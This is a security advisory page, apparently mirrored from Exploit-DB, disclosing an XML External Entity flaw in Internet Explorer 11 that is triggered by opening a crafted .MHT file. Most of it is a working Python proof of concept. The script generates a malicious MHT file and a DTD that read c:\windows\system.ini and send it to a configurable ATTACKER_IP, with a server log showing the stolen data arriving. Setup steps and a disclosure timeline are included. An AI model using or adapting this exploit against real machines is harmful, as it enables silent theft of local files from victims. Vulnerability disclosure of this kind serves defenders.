Microsoft Internet Explorer v11 XML External Entity Injection 0day

vendor:

Internet Explorer

by:

John Page (aka hyp3rlinx)

7.5

CVSS

HIGH

XML External Entity Injection

611

CWE

Product Name: Internet Explorer

Affected Version From: Microsoft Internet Explorer v11

Affected Version To: Microsoft Internet Explorer v11

Patch Exists: NO

Related CWE: N/A

CPE: a:microsoft:internet_explorer:11

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows

2021

Microsoft Internet Explorer v11 XML External Entity Injection 0day

Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally. This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed Program version information. Upon opening the malicious ".MHT" file locally it should launch Internet Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K" and other interactions like right click "Print Preview" or "Print" commands on the web-page may also trigger the XXE vulnerability. However, a simple call to the window.print() Javascript function should do the trick without requiring any user interaction with the webpage.

Mitigation:

Users should avoid opening untrusted .MHT files from untrusted sources.

Source

Exploit-DB raw data:

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
[+] ISR: ApparitionSec          
 

[Vendor]
www.microsoft.com


[Product]
Microsoft Internet Explorer v11
(latest version)

Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.


[Vulnerability Type]
XML External Entity Injection



[CVE Reference]
N/A



[Security Issue]
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.

This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.

Upon opening the malicious ".MHT" file locally it should launch Internet Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
and other interactions like right click "Print Preview" or "Print" commands on the web-page may also trigger the XXE vulnerability.

However, a simple call to the window.print() Javascript function should do the trick without requiring any user interaction with the webpage.
Importantly, if files are downloaded from the web in a compressed archive and opened using certain archive utilities MOTW may not work as advertised.

Typically, when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will get a security warning bar in IE and be prompted
to activate blocked content. However, when opening a specially crafted .MHT file using malicious <xml> markup tags the user will get no such
active content or security bar warnings.

e.g.

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 -


Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.



[POC/Video URL]
https://www.youtube.com/watch?v=fbLNbCjgJeY



[Exploit/POC]
POC to exfil  Windows "system.ini" file.
Note: Edit attacker server IP in the script to suit your needs.

1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.

2) python -m SimpleHTTPServer

3) Place the generated "datatears.xml" in Python server web-root.

4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.


#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx 
#ApparitionSec

ATTACKER_IP="localhost"
PORT="8000"

mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'

'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)

xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)

def mk_msie_0day_filez(f,p):
    f=open(f,"wb")
    f.write(p)
    f.close()


if __name__ == "__main__":
    mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
    mk_msie_0day_filez("datatears.xml",xml_file)
    print "Microsoft Internet Explorer XML External Entity 0day PoC."
    print "Files msie-xxe-0day.mht and datatears.xml Created!."
    print "Discovery: Hyp3rlinx / Apparition Security"

    


[Network Access]
Remote



[Severity]
High



[Disclosure Timeline]
Vendor Notification: March 27, 2019
Vendor acknowledgement: March 27, 2019 
Case Opened: March 28, 2019
MSRC reponse April 10, 2019: "We determined that a fix for this issue will be considered in a future version of this product or service.
At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case."
April 10, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx